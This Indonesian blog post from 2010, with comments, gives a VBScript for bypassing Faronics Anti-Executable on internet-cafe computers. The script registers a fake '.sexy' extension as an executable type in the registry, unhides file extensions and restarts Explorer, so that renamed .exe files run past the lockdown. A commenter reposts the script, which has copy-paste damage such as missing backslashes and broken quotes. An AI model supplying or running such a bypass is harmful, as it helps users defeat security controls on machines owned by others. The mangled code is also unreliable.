MEROKOK DAPAT MENYEBABKAN KANKER,SERANGAN JANTUNG,IMPOTENSI DAN GANGGUAN KEHAMILAN DAN JANIN
Selasa, 16 Februari 2010

postheadericon Cara Hack Faronics Software Anti Executable

Kemungkinan 50:50 tapi di tempat gue berhasil.

Awalnya gue sewot ma warnet gue yang selalu protect program, inilah itulah

Meledak ane lama-lama gan...

tapi alhasil ada aja cara buat ngehack, sekedar berbagi tips aja...



const HKEY_CLASSES_ROOT = &H80000000
const HKEY_CURRENT_USER = &H80000001
QUOT = chr(34)
strComputer = "."
On error resume next
Tanya = MsgBox("By Pass Exelockdown dengan Registry Shell Spawning"& vbNewLine & "Reset Exelockdown?", 36,"Exelockdown Hacking – by Lovepassword")
If Tanya = 6 Then
Set objRegistry = GetObject("winmgmts:{impersonationLevel=impersonat e}!\" &strComputer & " ootdefault:StdRegProv")
objRegistry.CreateKey HKEY_CLASSES_ROOT, ".sexy"
objRegistry.SetStringValue HKEY_CLASSES_ROOT,".sexy","exefile"
objRegistry.SetStringValue HKEY_CLASSES_ROOT,".sexy","Content Type","application/x-msdownload"
objRegistry.CreateKey HKEY_CLASSES_ROOT, ".sexyPersistentHandler"
objRegistry.SetStringValue HKEY_CLASSES_ROOT,".sexyPersistentHandler","{098f 2470-bae0-11cd-b579-08002b30bfeb}"
objRegistry.CreateKey HKEY_CURRENT_USER,"SoftwareMicrosoftWindowsCurrentVersionExplorerAdv anced"
objRegistry.SetDWORDValue HKEY_CURRENT_USER,"SoftwareMicrosoftWindowsCurrent VersionExplorerAdvanced","HideFileExt",0
Set objWMIService = GetObject("winmgmts:"& "{impersonationLevel=impersonate}!\" & strComputer & " ootcimv2?)
Set colProcessList = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = ‘explorer.exe’")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
set objShell = createobject(”Wscript.Shell”)
objShell.Run "explorer.exe"
msgbox "Copy file exe,rename menjadi file sexy, lalu jalankan",vbInformation,"Exelockdown Hacking – by 060183"
End If

Silakan copy paste di notepad lalu pilih all files dan simpan dengan extensi .vbs.. jalankan…
Kemudian ubah extensi file .exe jadi .sexy Maka anda selamat dari pencekalan software anti executable. Ingat jangan disalah gunakan OK!!

4 komentar:

Unknown mengatakan...

ya sama2 lah, tidak ada kesalahan coba anda ikuti langkahnya

Rasczak mengatakan...

memangada kesalahan....
dia terletak pada titik na...
aq jga bingung cara ngatasin nya

Unknown mengatakan...

download codenya
http://www.ziddu.com/download/14755718/code.txt.html

budi mengatakan...

const HKEY_CLASSES_ROOT = &H80000000
const HKEY_CURRENT_USER = &H80000001
QUOT = chr(34)
strComputer = "."
On error resume next
Tanya = MsgBox("By Pass Exelockdown dengan Registry Shell Spawning"& vbNewLine & "Reset Exelockdown?", 36,"Exelockdown Hacking by Lovepassword")
If Tanya = 6 Then
Set objRegistry = GetObject("winmgmts:{impersonationLevel=impersonat e}!\" &strComputer & " ootdefault:StdRegProv")
objRegistry.CreateKey HKEY_CLASSES_ROOT, ".sexy"
objRegistry.SetStringValue HKEY_CLASSES_ROOT,".sexy","exefile"
objRegistry.SetStringValue HKEY_CLASSES_ROOT,".sexy","Content Type","application/x-msdownload"
objRegistry.CreateKey HKEY_CLASSES_ROOT, ".sexyPersistentHandler"
objRegistry.SetStringValue HKEY_CLASSES_ROOT,".sexyPersistentHandler","{098f 2470-bae0-11cd-b579-08002b30bfeb}"
objRegistry.CreateKey HKEY_CURRENT_USER,"SoftwareMicrosoftWindowsCurrentVersionExplorerAdv anced"
objRegistry.SetDWORDValue HKEY_CURRENT_USER,"SoftwareMicrosoftWindowsCurrent VersionExplorerAdvanced","HideFileExt",0
Set objWMIService = GetObject("winmgmts:"& "{impersonationLevel=impersonate}!\" & strComputer & " ootcimv2?")
Set colProcessList = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = ‘explorer.exe’")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
set objShell = createobject("Wscript.Shell")
objShell.Run "explorer.exe"
msgbox "Copy file exe,rename menjadi file sexy, lalu jalankan",vbInformation,"Exelockdown Hacking – by 060183"
End If


yang benar ini mas bro
ikuti step diatas dan jalankan

SELAMAT DATANG KAWAN

Blog Populer

Bandwidth Speed Test

my inspiration

my inspiration

chat Ajoy

POhon Duit

facebook Gw

JADWAL SOLAT

Ajoy. Diberdayakan oleh Blogger.